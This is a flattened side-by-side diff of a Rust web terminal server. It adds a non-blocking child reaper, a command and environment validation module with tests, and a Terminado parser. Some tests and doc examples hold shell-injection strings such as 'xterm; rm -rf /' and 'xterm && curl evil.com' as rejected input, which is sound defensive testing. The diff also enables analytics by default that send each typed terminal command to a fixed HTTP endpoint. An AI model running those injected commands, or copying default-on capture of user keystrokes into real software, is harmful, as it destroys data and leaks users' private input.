// SAFETY: plain libc call with a pgid we own; no memory is touched.
if unsafe { libc::kill(pgid, signal) } == 0 {
Ok(())
} else {
Err(std::io::Error::last_os_error())
}
}
/// Terminate and reap a session's child process without blocking the caller.
///
/// SIGHUP goes to the process group immediately; a detached thread then polls
/// for exit, escalates to SIGKILL after [`CHILD_EXIT_GRACE`], and only after
/// [`CHILD_REAP_DEADLINE`] gives up polling and parks in a blocking `wait()` —
/// on its own thread, so a session the server is not permitted to signal can
/// never wedge an actix worker again. Signal failures are logged, not
/// swallowed: `EPERM` here means the container lacks `CAP_KILL` while sessions
/// run as a different uid.
///
/// Returns the reaper's `JoinHandle`; callers normally drop it.
pub fn reap_child(mut child: Box<dyn portable_pty::Child + Send>) -> std::thread::JoinHandle<()> {
let pid = child.process_id();
if let Some(pid) = pid {
match signal_process_group(pid, libc::SIGHUP) {
Ok(()) => log::debug!("Sent SIGHUP to session process group {}", pid),
Err(e) => log::error!(
"Cannot SIGHUP session process group {}: {} \
(EPERM means webterm-server lacks CAP_KILL for cross-uid sessions)",
pid,
e
),
}
}
std::thread::Builder::new()
.name(format!("reap-{}", pid.unwrap_or(0)))
.spawn(move || {
let started = Instant::now();
let mut killed = false;
loop {
match child.try_wait() {
Ok(Some(status)) => {
log::info!(
"Session {} exited with {:?} after {:?}",
pid.unwrap_or(0),
status,
started.elapsed()
);
return;
}
Ok(None) => {}
Err(e) => {
log::error!("try_wait on session {} failed: {}", pid.unwrap_or(0), e);
return;
}
}
let elapsed = started.elapsed();
if !killed && elapsed >= CHILD_EXIT_GRACE {
killed = true;
if let Some(pid) = pid {
match signal_process_group(pid, libc::SIGKILL) {
Ok(()) => log::warn!(
"Session {} ignored SIGHUP for {:?}; sent SIGKILL",
pid,
elapsed
),
Err(e) => {
log::error!("Cannot SIGKILL session process group {}: {}", pid, e)
}
}
}
}
if elapsed >= CHILD_REAP_DEADLINE {
log::error!(
"Session {} still alive {:?} after SIGKILL; reaper parking in wait()",
pid.unwrap_or(0),
elapsed
);
let _ = child.wait();
return;
}
std::thread::sleep(CHILD_POLL_INTERVAL);
}
})
.expect("failed to spawn session reaper thread")
}
/// Represents a PTY backend with attached child
pub struct Terminal { pub struct Terminal {
pty_write: Option<AsyncPtyMasterWriteHalf>, pty_master: Option<Box<dyn portable_pty::MasterPty + Send>>,
child: Option<Child>, pty_writer: Option<Box<dyn Write + Send>>,
child: Option<Box<dyn portable_pty::Child + Send>>,
ws: Addr<Websocket>, ws: Addr<Websocket>,
command: Command, command: Command,
last_activity: Instant, last_activity: Instant,
idle_timeout: Duration, idle_timeout: Duration,
analytics: Option<Analytics>,
command_buffer: String,
} }
impl Terminal { impl Terminal {
pub fn new(ws: Addr<Websocket>, command: Command) -> Self { pub fn new(ws: Addr<Websocket>, command: Command) -> Self {
Self { Self {
pty_write: None, pty_master: None,
pty_writer: None,
child: None, child: None,
ws, ws,
command, command,
last_activity: Instant::now(), last_activity: Instant::now(),
idle_timeout: IDLE_TIMEOUT, idle_timeout: Duration::from_secs(300),
analytics: None,
command_buffer: String::new(),
} }
} }
}
impl StreamHandler<<BytesCodec as Decoder>::Item, <BytesCodec as Decoder>::Error> for Terminal { pub fn with_analytics(ws: Addr<Websocket>, command: Command, analytics: Analytics) -> Self {
fn handle(&mut self, msg: <BytesCodec as Decoder>::Item, _ctx: &mut Self::Context) { Self {
self.ws pty_master: None,
.do_send(event::TerminadoMessage::Stdout(event::IO(msg))); pty_writer: None,
child: None,
ws,
command,
last_activity: Instant::now(),
idle_timeout: Duration::from_secs(300),
analytics: Some(analytics),
command_buffer: String::new(),
}
} }
} }
@@ -224,47 +372,97 @@ impl Actor for Terminal {
type Context = Context<Self>; type Context = Context<Self>;
fn started(&mut self, ctx: &mut Self::Context) { fn started(&mut self, ctx: &mut Self::Context) {
info!("Started Terminal"); log::info!("Started Terminal");
let pty = match AsyncPtyMaster::open() {
let pty_system = native_pty_system();
let pty_pair = match pty_system.openpty(PtySize {
rows: 24,
cols: 80,
pixel_width: 0,
pixel_height: 0,
}) {
Ok(pair) => pair,
Err(e) => { Err(e) => {
error!("Unable to open PTY: {:?}", e); log::error!("Unable to open PTY: {:?}", e);
ctx.stop(); ctx.stop();
return; return;
} }
Ok(pty) => pty,
}; };
let child = match self.command.spawn_pty_async(&pty) { let mut cmd_builder = CommandBuilder::new(self.command.get_program());
Err(e) => { for arg in self.command.get_args() {
error!("Unable to spawn child: {:?}", e); cmd_builder.arg(arg);
ctx.stop(); }
return; for (key, val) in self.command.get_envs() {
if let Some(val) = val {
cmd_builder.env(key, val);
} }
}
let child = match pty_pair.slave.spawn_command(cmd_builder) {
Ok(child) => child, Ok(child) => child,
Err(e) => {
log::error!("Unable to spawn child: {:?}", e);
ctx.stop();
return;
}
}; };
info!("Spawned new child process with PID {}", child.id()); log::info!("Spawned new child process");
let (pty_read, mut pty_write) = pty.split(); // Get reader and writer
let reader = match pty_pair.master.try_clone_reader() {
Ok(r) => r,
Err(e) => {
log::error!("Unable to clone reader: {:?}", e);
ctx.stop();
return;
}
};
// Set a sensible default PTY size immediately after splitting the PTY. let writer = match pty_pair.master.take_writer() {
// This avoids sending an initial 0x0 resize to the backend which can Ok(w) => w,
// cause panics in terminal UI libraries like ratatui. Err(e) => {
// log::error!("Unable to get writer: {:?}", e);
// We use the Resize helper which accepts a mutable reference to the ctx.stop();
// write-half of the PTY and block until the resize completes. return;
let _ = event::Resize::new(&mut pty_write, 24, 80).wait(); }
};
self.pty_write = Some(pty_write); self.pty_master = Some(pty_pair.master);
self.pty_writer = Some(writer);
self.child = Some(child); self.child = Some(child);
Self::add_stream(FramedRead::new(pty_read, BytesCodec::new()), ctx); // Spawn blocking thread to read from PTY
let ws = self.ws.clone();
std::thread::spawn(move || {
let mut reader = reader;
let mut buf = [0u8; 8192];
loop {
match reader.read(&mut buf) {
Ok(0) => {
log::info!("PTY reader reached EOF");
break;
}
Ok(n) => {
let data = Bytes::copy_from_slice(&buf[..n]);
ws.do_send(TerminadoMessage::Stdout(IO(data)));
}
Err(e) => {
log::error!("Error reading from PTY: {}", e);
break;
}
}
}
});
// Start idle timeout checker // Start idle timeout checker
ctx.run_interval(IDLE_CHECK_INTERVAL, |act, ctx| { ctx.run_interval(IDLE_CHECK_INTERVAL, |act, ctx| {
let idle_duration = Instant::now().duration_since(act.last_activity); let idle_duration = Instant::now().duration_since(act.last_activity);
if idle_duration >= act.idle_timeout { if idle_duration >= act.idle_timeout {
info!( log::info!(
"Terminal idle timeout reached ({:?} idle), stopping session", "Terminal idle timeout reached ({:?} idle), stopping session",
idle_duration idle_duration
); );
@@ -274,93 +472,135 @@ impl Actor for Terminal {
} }
fn stopping(&mut self, _ctx: &mut Self::Context) -> Running { fn stopping(&mut self, _ctx: &mut Self::Context) -> Running {
info!("Stopping Terminal"); log::info!("Stopping Terminal");
let child = self.child.take(); // Release our side of the pty first so the reader thread sees EOF once
// the session is gone, then hand the child to the reaper. This used to
if child.is_none() { // be `child.kill(); child.wait();` inline — a blocking waitpid on the
// Great, child is already dead! // actix worker thread. When the kill was refused (the session runs as
return Running::Stop; // another uid and the server had no CAP_KILL) the child lived on and
// the worker hung forever, taking half the server's connections with
// it. Nothing here may block.
self.pty_writer = None;
self.pty_master = None;
if let Some(child) = self.child.take() {
reap_child(child);
} }
let mut child = child.unwrap();
match child.kill() {
Ok(()) => match child.wait() {
Ok(exit) => info!("Child died: {:?}", exit),
Err(e) => error!("Child wouldn't die: {}", e),
},
Err(e) => error!("Could not kill child with PID {}: {}", child.id(), e),
};
// Notify the websocket that the child died. // Notify the websocket that the child died.
self.ws.do_send(event::ChildDied()); self.ws.do_send(ChildDied());
Running::Stop Running::Stop
} }
fn stopped(&mut self, _ctx: &mut Self::Context) { fn stopped(&mut self, _ctx: &mut Self::Context) {
info!("Stopped Terminal"); log::info!("Stopped Terminal");
} }
} }
impl Handler<event::IO> for Terminal { impl Handler<IO> for Terminal {
type Result = (); type Result = ();
fn handle(&mut self, msg: event::IO, ctx: &mut <Self as Actor>::Context) { fn handle(&mut self, msg: IO, ctx: &mut <Self as Actor>::Context) {
// Reset idle timer on activity // Reset idle timer on activity
self.last_activity = Instant::now(); self.last_activity = Instant::now();
let pty = match self.pty_write { let writer = match &mut self.pty_writer {
Some(ref mut p) => p, Some(w) => w,
None => { None => {
error!("Write half of PTY died, stopping Terminal."); log::error!("PTY writer died, stopping Terminal.");
ctx.stop(); ctx.stop();
return; return;
} }
}; };
if let Err(e) = pty.write(msg.as_ref()) { if let Err(e) = writer.write_all(&msg.0) {
error!("Could not write to PTY: {}", e); log::error!("Could not write to PTY: {}", e);
ctx.stop(); ctx.stop();
return;
} }
trace!("Websocket -> Terminal : {:?}", msg); log::trace!("Websocket -> Terminal : {:?}", msg);
} }
} }
impl Handler<event::TerminadoMessage> for Terminal { impl Handler<TerminadoMessage> for Terminal {
type Result = (); type Result = ();
fn handle(&mut self, msg: event::TerminadoMessage, ctx: &mut <Self as Actor>::Context) { fn handle(&mut self, msg: TerminadoMessage, ctx: &mut <Self as Actor>::Context) {
let pty = match self.pty_write { log::trace!("Websocket -> Terminal : {:?}", msg);
Some(ref mut p) => p,
None => {
error!("Write half of PTY died, stopping Terminal.");
ctx.stop();
return;
}
};
trace!("Websocket -> Terminal : {:?}", msg);
match msg { match msg {
event::TerminadoMessage::Stdin(io) => { TerminadoMessage::Stdin(io) => {
// Reset idle timer on user input // Reset idle timer on user input
self.last_activity = Instant::now(); self.last_activity = Instant::now();
if let Err(e) = pty.write(io.as_ref()) { // Buffer input and track command only when Enter is pressed
error!("Could not write to PTY: {}", e); if let Some(analytics) = &self.analytics {
let input = String::from_utf8_lossy(&io.0).to_string();
// Check if input contains newline (Enter key)
if input.contains('\n') || input.contains('\r') {
// Strip ANSI escape sequences and control codes
// Pattern matches: ESC[ followed by any characters until a letter
let mut cleaned_command = self.command_buffer.clone();
// Remove ANSI escape sequences like [<35;2;1M
// This regex pattern matches ESC [ followed by any non-letter chars and ending with a letter
let escape_pattern = regex::Regex::new(r"\x1b\[[^\x1b]*?[a-zA-Z]").unwrap();
cleaned_command =
escape_pattern.replace_all(&cleaned_command, "").to_string();
// Remove CSI sequences without ESC prefix like [<35;2;1M
let csi_pattern = regex::Regex::new(r"\[<[0-9;]+[a-zA-Z]").unwrap();
cleaned_command = csi_pattern.replace_all(&cleaned_command, "").to_string();
// Remove any remaining control characters
cleaned_command = cleaned_command
.chars()
.filter(|c| !c.is_control() || c.is_ascii_whitespace())
.collect();
let command = cleaned_command.trim().to_string();
// Track if command has actual content (alphanumeric chars)
if !command.is_empty() && command.chars().any(|c| c.is_ascii_alphanumeric())
{
log::info!("Tracking command: '{}'", command);
let analytics_clone = analytics.clone();
actix::spawn(async move {
let _ = analytics_clone.track_command(&command, None).await;
});
}
// Clear buffer for next command
self.command_buffer.clear();
} else {
// Accumulate input in buffer
self.command_buffer.push_str(&input);
}
}
let writer = match &mut self.pty_writer {
Some(w) => w,
None => {
log::error!("PTY writer died, stopping Terminal.");
ctx.stop();
return;
}
};
if let Err(e) = writer.write_all(&io.0) {
log::error!("Could not write to PTY: {}", e);
ctx.stop(); ctx.stop();
} }
} }
event::TerminadoMessage::Resize { rows, cols } => { TerminadoMessage::Resize { rows, cols } => {
// Reset idle timer on resize (user interaction) // Reset idle timer on resize (user interaction)
self.last_activity = Instant::now(); self.last_activity = Instant::now();
// Ignore zero-sized resizes which can cause panics in backends // Ignore zero-sized resizes
// such as ratatui when they receive a Rect with width or height 0.
if rows == 0 || cols == 0 { if rows == 0 || cols == 0 {
trace!( log::trace!(
"Ignoring zero-sized resize: cols = {}, rows = {}", "Ignoring zero-sized resize: cols = {}, rows = {}",
cols, cols,
rows rows
@@ -368,14 +608,29 @@ impl Handler<event::TerminadoMessage> for Terminal {
return; return;
} }
info!("Resize: cols = {}, rows = {}", cols, rows); log::info!("Resize: cols = {}, rows = {}", cols, rows);
if let Err(e) = event::Resize::new(pty, rows, cols).wait() {
error!("Resize failed: {}", e); let pty = match &mut self.pty_master {
Some(p) => p,
None => {
log::error!("PTY died, stopping Terminal.");
ctx.stop();
return;
}
};
if let Err(e) = pty.resize(PtySize {
rows,
cols,
pixel_width: 0,
pixel_height: 0,
}) {
log::error!("Resize failed: {}", e);
ctx.stop(); ctx.stop();
} }
} }
event::TerminadoMessage::Stdout(_) => { TerminadoMessage::Stdout(_) => {
error!("Invalid Terminado Message: Stdin cannot go to PTY") log::error!("Invalid Terminado Message: Stdout cannot go to PTY")
} }
}; };
} }
@@ -384,63 +639,66 @@ impl Handler<event::TerminadoMessage> for Terminal {
/// Trait to extend an [actix_web::App] by serving a web terminal. /// Trait to extend an [actix_web::App] by serving a web terminal.
pub trait WebTermExt { pub trait WebTermExt {
/// Serve the websocket for the webterm /// Serve the websocket for the webterm
fn webterm_socket<F>(self: Self, endpoint: &str, handler: F) -> Self fn webterm_socket<F>(self, endpoint: &str, handler: F) -> Self
where where
F: Clone + Fn(&actix_web::HttpRequest) -> Command + 'static; F: Clone + Fn(&actix_web::HttpRequest) -> Command + 'static;
fn webterm_ui( fn webterm_ui(self, endpoint: &str, webterm_socket_endpoint: &str, static_path: &str) -> Self;
self: Self,
endpoint: &str,
webterm_socket_endpoint: &str,
static_path: &str,
) -> Self;
} }
impl<T, B> WebTermExt for App<T, B> impl<T> WebTermExt for App<T>
where where
B: actix_web::body::MessageBody, T: actix_web::dev::ServiceFactory<
T: actix_service::NewService< actix_web::dev::ServiceRequest,
Config = (), Config = (),
Request = actix_web::dev::ServiceRequest,
Response = actix_web::dev::ServiceResponse<B>,
Error = actix_web::Error, Error = actix_web::Error,
InitError = (), InitError = (),
>, >,
{ {
fn webterm_socket<F>(self: Self, endpoint: &str, handler: F) -> Self fn webterm_socket<F>(self, endpoint: &str, handler: F) -> Self
where where
F: Clone + Fn(&actix_web::HttpRequest) -> Command + 'static, F: Clone + Fn(&actix_web::HttpRequest) -> Command + 'static,
{ {
self.route( self.route(
endpoint, endpoint,
web::get().to(move |req: HttpRequest, stream: web::Payload| { web::get().to(
ws::start(Websocket::new(handler(&req)), &req, stream) move |req: HttpRequest,
}), stream: web::Payload,
analytics: Option<web::Data<Analytics>>| {
let cmd = handler(&req);
let ws = if let Some(analytics_data) = analytics {
Websocket::with_analytics(cmd, analytics_data.as_ref().clone())
} else {
Websocket::new(cmd)
};
async move { ws::start(ws, &req, stream) }
},
),
) )
} }
fn webterm_ui( fn webterm_ui(self, endpoint: &str, webterm_socket_endpoint: &str, static_path: &str) -> Self {
self: Self,
endpoint: &str,
webterm_socket_endpoint: &str,
static_path: &str,
) -> Self {
let mut handlebars = Handlebars::new(); let mut handlebars = Handlebars::new();
handlebars handlebars
.register_templates_directory(".html", "./templates") .register_template_file("term", "./templates/term.html")
.unwrap(); .unwrap();
let handlebars_ref = web::Data::new(handlebars); let handlebars_ref = web::Data::new(handlebars);
let static_path = static_path.to_owned(); let static_path = static_path.to_owned();
let webterm_socket_endpoint = webterm_socket_endpoint.to_owned(); let webterm_socket_endpoint = webterm_socket_endpoint.to_owned();
self.register_data(handlebars_ref.clone()).route(
self.app_data(handlebars_ref.clone()).route(
endpoint, endpoint,
web::get().to(move |hb: web::Data<Handlebars>| { web::get().to(move |hb: web::Data<Handlebars<'static>>| {
let data = json!({ let websocket_path = webterm_socket_endpoint.clone();
"websocket_path": webterm_socket_endpoint, let static_path_clone = static_path.clone();
"static_path": static_path, async move {
}); let data = json!({
let body = hb.render("term", &data).unwrap(); "websocket_path": websocket_path,
HttpResponse::Ok().body(body) "static_path": static_path_clone,
});
let body = hb.render("term", &data).unwrap();
HttpResponse::Ok().body(body)
}
}), }),
) )
} }
+283
View File
@@ -0,0 +1,283 @@
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
// All rights reserved.
//
// Security validation for command execution
use std::path::Path;
/// Error type for command validation failures
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct ValidationError {
pub message: String,
}
impl ValidationError {
fn new(message: impl Into<String>) -> Self {
Self {
message: message.into(),
}
}
}
impl std::fmt::Display for ValidationError {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
write!(f, "Command validation error: {}", self.message)
}
}
impl std::error::Error for ValidationError {}
/// Whitelist of allowed shell commands
const ALLOWED_SHELLS: &[&str] = &[
"/bin/sh",
"/bin/bash",
"/bin/zsh",
"/bin/dash",
"/usr/bin/bash",
"/usr/bin/zsh",
"/usr/bin/fish",
];
/// Maximum allowed command path length
const MAX_COMMAND_LENGTH: usize = 4096;
/// Validates a command path for security concerns
///
/// # Security Checks
/// - Must be an absolute path
/// - Must not contain path traversal sequences (..)
/// - Must not contain shell metacharacters
/// - Must not contain null bytes
/// - Must be ASCII only
/// - Must not be in user-writable directories
/// - Must be in the whitelist (if whitelist checking is enabled)
/// - Must not exceed maximum length
///
/// # Example
/// ```
/// use webterm::security::validate_command;
///
/// // Valid command
/// assert!(validate_command("/bin/sh", true).is_ok());
///
/// // Invalid: shell injection attempt
/// assert!(validate_command("/bin/sh; rm -rf /", true).is_err());
///
/// // Invalid: path traversal
/// assert!(validate_command("../../bin/sh", true).is_err());
/// ```
pub fn validate_command(command: &str, check_whitelist: bool) -> Result<(), ValidationError> {
// Check for empty command
if command.is_empty() {
return Err(ValidationError::new("Command cannot be empty"));
}
// Check length
if command.len() > MAX_COMMAND_LENGTH {
return Err(ValidationError::new(format!(
"Command path too long: {} bytes (max: {})",
command.len(),
MAX_COMMAND_LENGTH
)));
}
// Must be absolute path
if !command.starts_with('/') {
return Err(ValidationError::new(
"Command must be an absolute path starting with '/'",
));
}
// Check for path traversal
if command.contains("..") {
return Err(ValidationError::new(
"Command path contains '..' (path traversal attempt)",
));
}
// Check for shell metacharacters
let dangerous_chars = [';', '&', '|', '`', '$', '\n', '\r', '\0', '<', '>'];
for ch in dangerous_chars {
if command.contains(ch) {
return Err(ValidationError::new(format!(
"Command contains dangerous character: {:?}",
ch
)));
}
}
// Check for null bytes
if command.contains('\0') {
return Err(ValidationError::new("Command contains null byte"));
}
// Must be ASCII only (avoid Unicode tricks)
if !command.is_ascii() {
return Err(ValidationError::new("Command must be ASCII only"));
}
// Check for control characters (except common ones that might be in paths)
for ch in command.chars() {
if ch.is_control() {
return Err(ValidationError::new(format!(
"Command contains control character: {:?}",
ch
)));
}
}
// Must not be in user-writable directories
let dangerous_prefixes = ["/tmp/", "/var/tmp/", "/home/", "/Users/", "/root/"];
for prefix in dangerous_prefixes {
if command.starts_with(prefix) {
return Err(ValidationError::new(format!(
"Command in user-writable directory: {}",
prefix
)));
}
}
// Check against whitelist if enabled
if check_whitelist && !ALLOWED_SHELLS.contains(&command) {
return Err(ValidationError::new(format!(
"Command '{}' not in whitelist. Allowed: {:?}",
command, ALLOWED_SHELLS
)));
}
// Verify the command exists (if not checking whitelist, we should at least verify it's a file)
if !check_whitelist {
let path = Path::new(command);
if !path.exists() {
return Err(ValidationError::new(format!(
"Command path does not exist: {}",
command
)));
}
if !path.is_file() {
return Err(ValidationError::new(format!(
"Command path is not a file: {}",
command
)));
}
}
Ok(())
}
/// Validates an environment variable value for security
///
/// # Security Checks
/// - Must not contain shell metacharacters
/// - Must not contain null bytes
/// - Must not contain newlines
/// - Must be reasonable length
///
/// # Example
/// ```
/// use webterm::security::validate_env_value;
///
/// assert!(validate_env_value("xterm").is_ok());
/// assert!(validate_env_value("xterm; rm -rf /").is_err());
/// ```
pub fn validate_env_value(value: &str) -> Result<(), ValidationError> {
// Check length
if value.len() > 4096 {
return Err(ValidationError::new("Environment value too long"));
}
// Check for dangerous characters
let dangerous_chars = [';', '&', '|', '`', '$', '\n', '\r', '\0'];
for ch in dangerous_chars {
if value.contains(ch) {
return Err(ValidationError::new(format!(
"Environment value contains dangerous character: {:?}",
ch
)));
}
}
Ok(())
}
/// Returns the list of allowed shells
pub fn allowed_shells() -> &'static [&'static str] {
ALLOWED_SHELLS
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_valid_command() {
assert!(validate_command("/bin/sh", true).is_ok());
assert!(validate_command("/bin/bash", true).is_ok());
}
#[test]
fn test_reject_relative_path() {
assert!(validate_command("bin/sh", true).is_err());
assert!(validate_command("./bin/sh", true).is_err());
}
#[test]
fn test_reject_path_traversal() {
assert!(validate_command("/../bin/sh", true).is_err());
assert!(validate_command("/bin/../sh", true).is_err());
}
#[test]
fn test_reject_shell_metacharacters() {
assert!(validate_command("/bin/sh;", true).is_err());
assert!(validate_command("/bin/sh&", true).is_err());
assert!(validate_command("/bin/sh|", true).is_err());
assert!(validate_command("/bin/sh`", true).is_err());
assert!(validate_command("/bin/sh$", true).is_err());
}
#[test]
fn test_reject_null_bytes() {
assert!(validate_command("/bin/sh\0", true).is_err());
}
#[test]
fn test_reject_tmp_directory() {
assert!(validate_command("/tmp/malicious.sh", true).is_err());
assert!(validate_command("/var/tmp/evil.sh", true).is_err());
}
#[test]
fn test_reject_non_ascii() {
assert!(validate_command("/bin/sh™", true).is_err());
}
#[test]
fn test_reject_empty_command() {
assert!(validate_command("", true).is_err());
}
#[test]
fn test_reject_too_long() {
let long_command = format!("/{}", "a".repeat(5000));
assert!(validate_command(&long_command, true).is_err());
}
#[test]
fn test_whitelist_enforcement() {
assert!(validate_command("/bin/sh", true).is_ok());
assert!(validate_command("/usr/local/bin/custom", true).is_err());
}
#[test]
fn test_valid_env_value() {
assert!(validate_env_value("xterm").is_ok());
assert!(validate_env_value("xterm-256color").is_ok());
}
#[test]
fn test_reject_env_with_metacharacters() {
assert!(validate_env_value("xterm; rm -rf /").is_err());
assert!(validate_env_value("xterm && curl evil.com").is_err());
}
}
+86 -57
View File
@@ -1,90 +1,119 @@
#[macro_use]
extern crate lazy_static;
use actix_files;
use actix_web::{App, HttpServer}; use actix_web::{App, HttpServer};
use structopt::StructOpt; use clap::Parser;
use webterm::WebTermExt; use webterm::{validate_command, Analytics, WebTermExt};
use std::net::TcpListener; use std::path::PathBuf;
use std::process::Command; use std::process::Command;
#[derive(StructOpt, Debug)] #[derive(Parser, Debug)]
#[structopt(name = "webterm-server")] #[command(name = "webterm-server")]
#[command(about = "Web terminal server based on xterm.js")]
struct Opt { struct Opt {
/// The port to listen on /// The port to listen on
#[structopt(short, long, default_value = "8082")] #[arg(short, long, default_value = "8082")]
port: u16, port: u16,
/// The host or IP to listen on /// The host or IP to listen on
#[structopt(short, long, default_value = "localhost")] #[arg(short = 'H', long, default_value = "localhost")]
host: String, host: String,
/// The command to execute /// The command to execute
#[structopt(short, long, default_value = "/bin/sh")] #[arg(short, long, default_value = "/bin/sh")]
command: String, command: String,
/// Enable Umami analytics tracking
#[arg(long, default_value = "true")]
enable_analytics: bool,
/// Umami instance endpoint
#[arg(long, default_value = "http://unami.wittyoneoff.com/api/send")]
umami_endpoint: String,
/// Umami website ID
#[arg(long, default_value = "caefa16f-86af-4835-8b82-c8649aea0e2a")]
umami_website_id: String,
/// Path to telemetry config file (for opt-out management)
#[arg(long)]
telemetry_config: Option<PathBuf>,
} }
lazy_static! { #[actix_web::main]
static ref OPT: Opt = Opt::from_args(); async fn main() -> std::io::Result<()> {
} env_logger::init();
fn main() { let opt = Opt::parse();
pretty_env_logger::init();
// Validate command for security before starting server
if let Err(e) = validate_command(&opt.command, false) {
eprintln!("Error: Invalid command '{}': {}", opt.command, e);
eprintln!("Command failed security validation.");
std::process::exit(1);
}
log::info!("Command validated: {}", opt.command);
// Normalize common hostnames that sometimes resolve to IPv6-only addresses // Normalize common hostnames that sometimes resolve to IPv6-only addresses
// which can cause platform-specific bind failures. Mapping `localhost` to // which can cause platform-specific bind failures. Mapping `localhost` to
// 127.0.0.1 makes behavior predictable on systems where `::1` would otherwise // 127.0.0.1 makes behavior predictable on systems where `::1` would otherwise
// be selected. // be selected.
let host = if OPT.host == "localhost" { let host = if opt.host == "localhost" {
"127.0.0.1".to_string() "127.0.0.1".to_string()
} else { } else {
OPT.host.clone() opt.host.clone()
}; };
let bind_addr = format!("{}:{}", host, OPT.port); let bind_addr = format!("{}:{}", host, opt.port);
println!("Starting webterm server on http://{}", bind_addr); println!("Starting webterm server on http://{}", bind_addr);
// Single factory closure variable that we reuse for HttpServer::new. // Initialize analytics
// The closure does not capture any stack variables (it references the static let analytics = if opt.enable_analytics {
// `OPT`), so it can act as a simple, repeated factory for the server. // Use default config path if not specified
let factory = || { let config_path = opt.telemetry_config.unwrap_or_else(|| {
dirs::config_dir()
.unwrap_or_else(|| PathBuf::from("."))
.join("webterm")
.join("telemetry.json")
});
// Create config directory if it doesn't exist
if let Some(parent) = config_path.parent() {
std::fs::create_dir_all(parent).ok();
}
log::info!(
"Analytics enabled: {} (website_id: {}, config: {:?})",
opt.umami_endpoint,
opt.umami_website_id,
config_path
);
Analytics::new(
opt.umami_website_id.clone(),
opt.umami_endpoint.clone(),
config_path,
)
} else {
log::info!("Analytics disabled");
Analytics::disabled()
};
let command = opt.command.clone();
HttpServer::new(move || {
let cmd = command.clone();
let analytics_clone = analytics.clone();
App::new() App::new()
.service(actix_files::Files::new("/assets", "./static")) .service(actix_files::Files::new("/assets", "./static"))
.service(actix_files::Files::new("/static", "./node_modules")) .service(actix_files::Files::new("/static", "./node_modules"))
.webterm_socket("/websocket", |_req| { .webterm_socket("/websocket", move |_req| {
// Use the static OPT inside the handler; this does not make the let mut command = Command::new(&cmd);
// outer `factory` closure capture stack variables, so factory command.env("TERM", "xterm");
// remains a zero-capture closure (a function item/type). command
let mut cmd = Command::new(OPT.command.clone());
cmd.env("TERM", "xterm");
cmd
}) })
.webterm_ui("/", "/websocket", "/static") .webterm_ui("/", "/websocket", "/static")
}; .app_data(actix_web::web::Data::new(analytics_clone.clone()))
})
// Bind a std::net::TcpListener ourselves and hand it to actix via `listen`. .bind(&bind_addr)?
// This avoids actix's address parser producing EINVAL on some platforms. .run()
let listener = match TcpListener::bind(&bind_addr) { .await
Ok(l) => l,
Err(e) => {
eprintln!("Failed to bind TcpListener to {}: {}", bind_addr, e);
eprintln!("Try `--host 0.0.0.0` or `--host 127.0.0.1` to bind explicitly.");
std::process::exit(1);
}
};
let server = HttpServer::new(factory)
.listen(listener)
.unwrap_or_else(|e| {
eprintln!("Failed to listen on {}: {}", bind_addr, e);
std::process::exit(1);
});
println!("Listening on http://{}", bind_addr);
if let Err(e) = server.run() {
eprintln!("Server run failed: {}", e);
std::process::exit(1);
}
} }
+67 -26
View File
@@ -1,15 +1,36 @@
use actix::Message; use actix::Message;
use log::error;
use libc::c_ushort; use libc::c_ushort;
use std::convert::TryFrom; use std::fmt;
use serde::ser::SerializeSeq; use serde::ser::SerializeSeq;
use serde::{Serialize, Serializer}; use serde::{Serialize, Serializer};
use serde_json;
use crate::event::IO; use crate::event::IO;
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct ParseError {
message: String,
}
impl ParseError {
fn new(message: impl Into<String>) -> Self {
Self {
message: message.into(),
}
}
}
impl fmt::Display for ParseError {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
write!(f, "Terminado parse error: {}", self.message)
}
}
impl std::error::Error for ParseError {}
impl Message for TerminadoMessage { impl Message for TerminadoMessage {
type Result = (); type Result = ();
} }
@@ -22,77 +43,97 @@ pub enum TerminadoMessage {
} }
impl TerminadoMessage { impl TerminadoMessage {
pub fn from_json(json: &str) -> Result<Self, ()> { pub fn from_json(json: &str) -> Result<Self, ParseError> {
let value: serde_json::Value = serde_json::from_str(json).map_err(|_| { let value: serde_json::Value = serde_json::from_str(json).map_err(|e| {
error!("Invalid Terminado message: Invalid JSON"); let msg = format!("Invalid JSON: {}", e);
error!("Invalid Terminado message: {}", msg);
ParseError::new(msg)
})?; })?;
let list: &Vec<serde_json::Value> = value.as_array().ok_or_else(|| { let list: &Vec<serde_json::Value> = value.as_array().ok_or_else(|| {
error!("Invalid Terminado message: Needs to be an array!"); let msg = "Needs to be an array";
error!("Invalid Terminado message: {}", msg);
ParseError::new(msg)
})?; })?;
match list match list
.first() .first()
.ok_or_else(|| { .ok_or_else(|| {
error!("Invalid Terminado message: Empty array!"); let msg = "Empty array";
error!("Invalid Terminado message: {}", msg);
ParseError::new(msg)
})? })?
.as_str() .as_str()
.ok_or_else(|| { .ok_or_else(|| {
error!("Invalid Terminado message: Type field not a string!"); let msg = "Type field not a string";
error!("Invalid Terminado message: {}", msg);
ParseError::new(msg)
})? { })? {
"stdin" => { "stdin" => {
if list.len() != 2 { if list.len() != 2 {
error!(r#"Invalid Terminado message: "stdin" length != 2"#); let msg = r#""stdin" length != 2"#;
return Err(()); error!("Invalid Terminado message: {}", msg);
return Err(ParseError::new(msg));
} }
Ok(TerminadoMessage::Stdin(IO::from( Ok(TerminadoMessage::Stdin(IO::from(
list[1].as_str().ok_or_else(|| { list[1].as_str().ok_or_else(|| {
error!(r#"Invalid Terminado message: "stdin" needs to be a String"#); let msg = r#""stdin" needs to be a String"#;
error!("Invalid Terminado message: {}", msg);
ParseError::new(msg)
})?, })?,
))) )))
} }
"stdout" => { "stdout" => {
if list.len() != 2 { if list.len() != 2 {
error!(r#"Invalid Terminado message: "stdout" length != 2"#); let msg = r#""stdout" length != 2"#;
return Err(()); error!("Invalid Terminado message: {}", msg);
return Err(ParseError::new(msg));
} }
Ok(TerminadoMessage::Stdout(IO::from( Ok(TerminadoMessage::Stdout(IO::from(
list[1].as_str().ok_or_else(|| { list[1].as_str().ok_or_else(|| {
error!(r#"Invalid Terminado message: "stdout" needs to be a String"#); let msg = r#""stdout" needs to be a String"#;
error!("Invalid Terminado message: {}", msg);
ParseError::new(msg)
})?, })?,
))) )))
} }
"set_size" => { "set_size" => {
if list.len() != 3 { if list.len() != 3 {
